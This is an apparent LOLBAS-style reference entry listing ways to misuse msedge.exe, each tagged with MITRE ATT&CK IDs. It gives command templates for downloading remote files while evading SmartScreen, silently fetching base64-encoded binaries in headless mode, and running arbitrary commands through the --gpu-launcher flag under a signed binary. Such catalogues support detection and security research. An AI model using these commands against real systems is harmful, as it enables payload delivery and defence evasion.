Msedge.exe

Microsoft Edge browser

Download

Download file from the internet

msedge.exe {REMOTEURL:.exe.txt}

Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen. — MITRE: T1105 — Privileges: User

Download file from the internet

msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}

Edge will silently download the file. File extension should be .html and binaries should be encoded. — MITRE: T1105 — Privileges: User

Execute

Executes a process under a trusted Microsoft signed binary

msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"

Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command — MITRE: T1218.015 — Privileges: User